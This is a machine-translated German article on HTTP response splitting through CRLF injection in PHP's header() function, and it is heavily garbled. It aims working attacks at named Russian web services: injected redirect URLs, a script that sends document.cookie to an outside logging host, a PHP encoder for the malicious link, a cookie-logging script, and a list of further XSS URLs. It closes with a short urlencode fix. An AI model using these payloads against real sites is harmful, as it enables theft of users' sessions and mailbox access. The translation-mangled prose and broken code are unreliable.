HTTP Splitting Verwundbarkeit

Der Artikel rassmtrivaetsya praktische Anwendungsschwachstellen, wie HTTP - Splitting Verwundbarkeit bekannt

Buggy header () unter dem Mikroskop

Wanderung durch die Weiten des Internet, beobachten wir häufig Spezies http://anyhost.com/redirect.php?url=http://otherhost.com url ungekünstelt durch nicht ständig einfach denken , klickt auf sie bietet auch für otherhost.com. Eine neugierige Benutzer - Einsätze an der Adresse cvoey hompagi Räumlichkeiten url auch krivosti Skript überzeugt.
Zusätzlich zu den einfachen und interessanten Live sehr interessante Leute im Internet. Sie durchdringen den Link in Access beginnen auch das Drehbuch zu lernen.

1. Das Wesen des Fehlers.
2. Praktische Anwendung.
3. Lage der Prävalenz des Fehlers.
4. Die Mittel des Schutzes.

für Tanker legt nahe, dass Access - "hakresky", wie es in der Nation, eine Waffe zum Ausdruck kommt. Laden Sie es erlaubt zu offsayte Projekt. Zum Zeitpunkt des Schreibens dieses Artikels, die neueste Version des Programms war 4,173. Das Programm ist für seine HTTP Debuger Funktion bekannt. Um es zu nutzen, können Sie mit dem Experten-Modus gehen und die entsprechende Option im Menü Extras Auswahl (F4 dann CTR + F9 - abhängig von der Version des Schlüssels kann variieren). Als nächstes wird, können wir jeden Schüler mit dem Taucher fertig zu werden vielleicht auf das Einrichten dieser Funktion, konzentrieren sich nicht darum.

für Experimente wählten wir mail.ru , wie es der berühmteste Postdienst in RuNet und der Leser wird besonders daran interessiert zu wissen , über einen Fehler an diesem Projekt ist;) Lassen Sie uns auf den Link gehen http://go.mail.ru/urltracker?url=http:/ /www.security-teams.net. Wir werden für die Computersicherheit zu den meisten gewählt Portal verbreiten). Hinzufügen einer Website mit einem Lesezeichen versehen und Rückkehr in die Mail. Wir schreiben das interessiert uns die Verbindung zu HTTP-Adressfeld, und rufen Sie die Modus gleich setzen, klicken Sie auf Verbinden.
Wir haben vor uns die HTTP-Header vom Server, so etwas wie die skrinshete zurückgegeben werden:



Es sollte die unterstrichenen Linie betreffen. Met Titel Standort :, Browser nimmt uns bedingungslos an die angegebene URL. Deshalb können wir dem Anwender eine Verknüpfung zu rutschen, wie es war, in der Post, aber es ist wirklich Mail nicht bekommt. Das ist in Ordnung, aber in der Praxis nichts macht entfremden nicht.

Achten Sie darauf , dass die Linien im Titel durch zwei Zeichen 0Dh 0Ah getrennt sind. Und was, wenn am Ende des Hinweises auf sie zugeschrieben? Mal sehen , was wir den Server Einwand http://go.mail.ru/urltracker?url=null%0D%0AHacked_by:%20drmist Anfrage zurück:



Wie interessant. So können wir machen den Server fast jedem Titel zurück. Zum Beispiel, um die Cookies Benutzer ändern. Aber noch einmal, das ist nicht so interessant wie, was vor uns verweilt. Interessanterweise sind die Kopfzeilen aus dem Körper act 0Dh 0Ah 0Dh 0Ah Sequenz getrennt. Sind wir in der Lage jede volle Seite zu geben? Geben Sie http://go.mail.ru/urltracker?url=% 0D% 0A% 0D% 0A <script> alert (document.cookie); </ script> < ! - Auch aussehen:



Alle gelb - ist der Text des Dokuments selbst. Wenn Ihr Browser JavaScript aktiviert ist, dann gehen Sie auf den Link gelangen wir unsere Meldung mit dem Cookie zu sehen. Um die XSS-Angriff zu machen, müssen Sie:
1) Erstellen Sie einen Seitentyp <script> document.location = 'http://drmist.ru/log.php?'+document.cookie; </ script>
2) Bringen Sie es zu URL-Kodierung mit einem Skript:

<? Php
$ Url = "http://go.mail.ru/urltracker?url=";
$ S = "<script> document.location = 'http: //drmist.ru/log.php'";
$ S = "+ document.cookie; < / script>" .;
$ Res = "";
for ($ i = 0; $ i strlen ($ s < ); $ i ++)
{
$ Res = "%" .;
$ T = ord ($ s [ $ i]);
if ($ t <16)
$ Res = "0" .;
$ Res = dechex ($ t) .
}

.. Echo $ url "% 0d % 0a% 0d% 0a" $ res;
?>

Wir erhalten:
http://go.mail.ru/urltracker?url=%0d%0a%0d%0a%3c%73%63 ... etc. (**)

3) Schreiben Sie ein Skript log.php gießen es auch auf drmist.ru:
<? Php
$ Fid = fopen ( "../ log.txt ", "a");
fputs ($ fid, $ _SERVER [ "QUERY_STRING"] "\ r \ r \ r".);
fclose ($ fid);
header ( "Location: http://www.mail.ru") ;
?>

Heute erlaubt vparivat magische Verbindung (**) und den Kauf von Cookies Opfer.
Wie es erlaubt ist, eine Menge nützlicher Dinge, wie zum Beispiel den Zugriff auf E-Mail zu tun, aber in einem Tag auf, dass mehr ist, sind wir auch so cool aus dem Hauptthema ablenken.

Natürlich muss man nicht auf dem Mail-Laufwerk, dann ist es Buggy Ressource Scheiße, und schließlich aus unserer Sandbox auf keinen Fall. Alle Menschen neigen dazu, den Fehler zu machen, aber Administratoren meyl.ru falsch weniger häufig und weniger häufig. Wanzen noch bleiben. Die Menschen sind still über sie nicht wegen der Gier, sondern aus Angst vor einer unzureichenden Antwort auf ihre Anwesenheit Verwaltung, die, laut Statistik, hat einen Platz. Glücklicherweise ist das Vorhandensein von XSS noch keine Garantie für den Zugriff auf die Mailbox zu gewinnen. Ich bin sicher, ich werde einen Fehler decken. Neueste - durch 2 Tagen. Vulnerable nicht nur mail.ru. Wir empfehlen dringend, lesen:
http://yandex.ru/redir/?url=[XSS]
http://rambler.ru//click?_URL=[XSS]

Ehrlich gesagt, waren wir überrascht , groß zu sein , zu welchem Zeitpunkt haben über diese Schwachstellen gelernt schrieb am securitylab.ru vor 3 Jahren (siehe Einleitung CRLF in PHP - Funktion header () von 10.09.2002), sondern auch wegen der praktischen Anwendung der Fehler, können wir nicht gehört hat, nie in Betracht gezogen, sie das Thema auf dem Laufenden. Darüber hinaus bla bla vryatli nicht die tatsächliche Anwesenheit von Bugs auf Yandex, Rambler und E-Mail zu nennen dürfen.

Korrigieren Sie den Fehler von nicht schwer. Lassen Sie verwundbar Skript essen:

<?
if (! isset ($ url) )
$ Url = "http://www.mail.ru";

header ( "Location: $ url" );

?>

Wir machen ihn unverwundbar:

header ( "Location:" .urlencode ( $ url));

Wenn Sie nur innerhalb einer Site umleiten möchten, ist es am besten, dies zu tun:

header ( "Location: http://www.mail.ru/".urlencode($url)) ;

Das ist wahrscheinlich auch alles, was wir sagen wollten. Lassen Sie schließlich mehrere XSS bieten:

http://talk.mail.ru/article.html?ID=31836089&page=1 "> <h1> XSS < / h1>
http://www.pochta.ru/?lng=en "<h1> XSS </ h1>